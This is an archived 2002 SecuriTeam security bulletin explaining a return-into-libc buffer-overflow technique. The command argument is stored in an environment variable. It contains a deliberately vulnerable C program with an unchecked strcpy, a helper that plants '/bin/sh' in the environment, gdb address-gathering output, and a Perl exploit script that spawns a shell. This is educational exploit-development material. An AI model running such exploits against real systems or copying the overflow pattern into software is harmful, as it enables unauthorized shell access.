

[REVS] Using Environment for Returning Into Lib C

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-03/0019.html>

From: support@securiteam.com

Date: 03/04/02

From: support@securiteam.com

To: list@securiteam.com

Date: Mon, 4 Mar 2002 10:45:12 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Using Environment for Returning Into Lib C

SUMMARY

This article explains how to use the environment variables to successfully exploit a buffer overflow with a return into lib C. This approach has many advantages in particular:

- * The capability of chaining return because you are not limited by the number of arguments you can pass.
- * A flexibility for the return address because you do not have to point to an address but to a range of it.

DETAILS

A vulnerable program:

Here is a simple program designed to demonstrate this method

```
int foo(char *string)
```

```
{  
    char vuln[25];
```

```
    strcpy(vuln, string);  
    return 42;
```

```
}
```

```
int main(int ac, char **av)
```

```
{
```

Securiteam: [REVS] Using Environment for Returning Into Lib C

```
foo(av[1]);  
return 42;  
}
```

As you can see there is no place to put the `system()` argument in this program. The environment will consequently be used to store it.

Using the environment

In order to put the argument for the return into lib C in the environment one needs some 'room' because the environment variables are not exactly at the same place when you run a program. A `\x90`-like is needed for the return into lib C.

NOP like

For the `system()` function the string `"/bin/sh"` is the same than `' /bin/sh '`. In the return into lib C the `' '` char which is `\x20` will act as NOP for the shell code. It will multiply the chances of success.

Program

It is easy to write a simple program to put the command directly into the environment and to spawn a shell. Here is one:

```
#include <string.h>  
#include <stdlib.h>  
#include <stdio.h>  
  
int main(int ac, char **av)  
{  
    char command[500];  
    int len;  
    int i;  
  
    memset(command, '\0', 500);  
    len = strlen(av[1]);  
    //filling with " " which is the equivalent for the return of the \x90 of  
    shellcode  
    for (i = 0; i <= 500 - len; i++)  
        command[i] = ' ';  
    //filling with the command equivalent to the shellcode :)  
    strcat(command, av[1]);  
    setenv("RCL", command, 1);  
    system("/bin/bash");  
    return 42;  
}
```

Demonstration

The `/bin/sh` command is put into the environment.

```
$ ./env /bin/sh
```

```
$ export
```

```
declare -x BROWSER="kfmclient openProfile webbrowsing"
```

```
declare -x COLORTERM=""
```

Securiteam: [REVS] Using Environment for Returning Into Lib C

```
declare -x DISPLAY=":0"  
declare -x GTK_RC_FILES="/etc/gtk/gtkrc:/home/lupin/.gtkrc"
```

```
<-snipe->
```

```
declare -x RCL="
```

```
    /bin/sh"
```

```
declare -x SECURE_LEVEL="0"
```

```
<- snipe ->
```

```
$
```

One can see the command passed to the program (/bin/sh) is in the environment with many spaces.

Writing the exploit

Gathering data

Three information pieces are required to exploit successfully the vulnerable program:

- 1) Number of chars before overwriting the return address.
- 2) Address of the system() function.
- 3) Address of the environment variable.

The only part of gathering data explained here is how to get the environment variable address. The rest is old news. As explained previously the variable has been filled with a lot of \x20. Let us run the program and inspect the memory with gdb (put a break point to main in order to stop at the beginning of the program). The result is

```
Breakpoint 1, 0x08048496 in main ()
```

```
(gdb) p system
```

```
$1 = {<text variable, no debug info>} 0x40073440 <system>
```

```
(gdb) x/20x $esp
```

```
0xbffff5d0: 0x08049538 0x08049640 0xbffff618 0x400405b0  
0xbffff5e0: 0x00000001 0xbffff644 0xbffff64c 0x080482fa  
0xbffff5f0: 0x08048500 0x00000000 0xbffff618 0x4004059a  
0xbffff600: 0x00000000 0xbffff64c 0x4015b9e0 0x40015638  
0xbffff610: 0x00000001 0x08048360 0x00000000 0x08048381
```

```
<- snipe ->
```

```
(gdb)
```

```
0xbffff800: 0x72756540 0x4f48006f 0x414e5453 0x733d454d  
0xbffff810: 0x79687061 0x43520072 0x20203d4c 0x20202020  
0xbffff820: 0x20202020 0x20202020 0x20202020 0x20202020  
0xbffff830: 0x20202020 0x20202020 0x20202020 0x20202020  
0xbffff840: 0x20202020 0x20202020 0x20202020 0x20202020
```

```
..
```

Let us pick an address in the middle of the \x20.

Securiteam: [REVS] Using Environment for Returning Into Lib C

Exploit Code

The last thing to do is to write the exploit and test it. We wrote it in

perl

```
#making the overflow
```

```
$over = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
```

```
#giving the system() adress to make the return into libc
```

```
# 0x40073440 -> 40 34 07 40
```

```
$retaddr = "\x40\x34\x07\x40";
```

```
#giving a dummy return address to our function
```

```
$dummy = "FAKE";
```

```
#giving the address of our env variable has arg
```

```
#0xbffff870
```

```
$arg1 = "\x70\xf8\xff\xbf";
```

```
#Smash it !!!
```

```
print $over;
```

```
#print "BBBB";
```

```
print $retaddr;
```

```
print $dummy;
```

```
print $arg1;
```

Exploitation

The exploit results in

```
$ ./vul `perl exploit.pl`
```

```
sh-2.05$ ps afx
```

```
PID TTY STAT TIME COMMAND
```

```
9 ? SW 0:00 [kupdated]
```

```
8 ? SW 0:00 [bdflush]
```

```
7 ? SW 0:00 [kreclaimd]
```

```
6 ? SW 0:00 [kswapd]
```

```
<- snipe ->
```

```
2206 pts/1 S 0:00 | \_ /bin/bash
```

```
2415 pts/1 S 0:00 | \_ ./env /bin/sh
```

```
2416 pts/1 S 0:00 | \_ /bin/bash
```

```
2527 pts/1 S 0:00 | \_ ./vul
```

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@4?@FAKEp??;
```

```
2528 pts/1 S 0:00 | \_ /bin/sh
```

```
2530 pts/1 R 0:00 | \_ ps afx
```

Conclusion

The use of environment variables in the return into lib C technique will make it easier to do. With this flexibility, it is possible to write a new range of exploits using the return into lib C.

ADDITIONAL INFORMATION

The information has been provided by <mailto:elie@bursztein.net> Lupin Bursztein.

```
=====
```

Securiteam: [REVS] Using Environment for Returning Into Lib C

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[\[EXPL\] Details and Exploitation of a Buffer Overflow in mshtml.dll \(SRC\)](#)"
 - **Messages sorted by:** [\[date \] \[thread \] \[subject \] \[author \] \[attachment \]](#)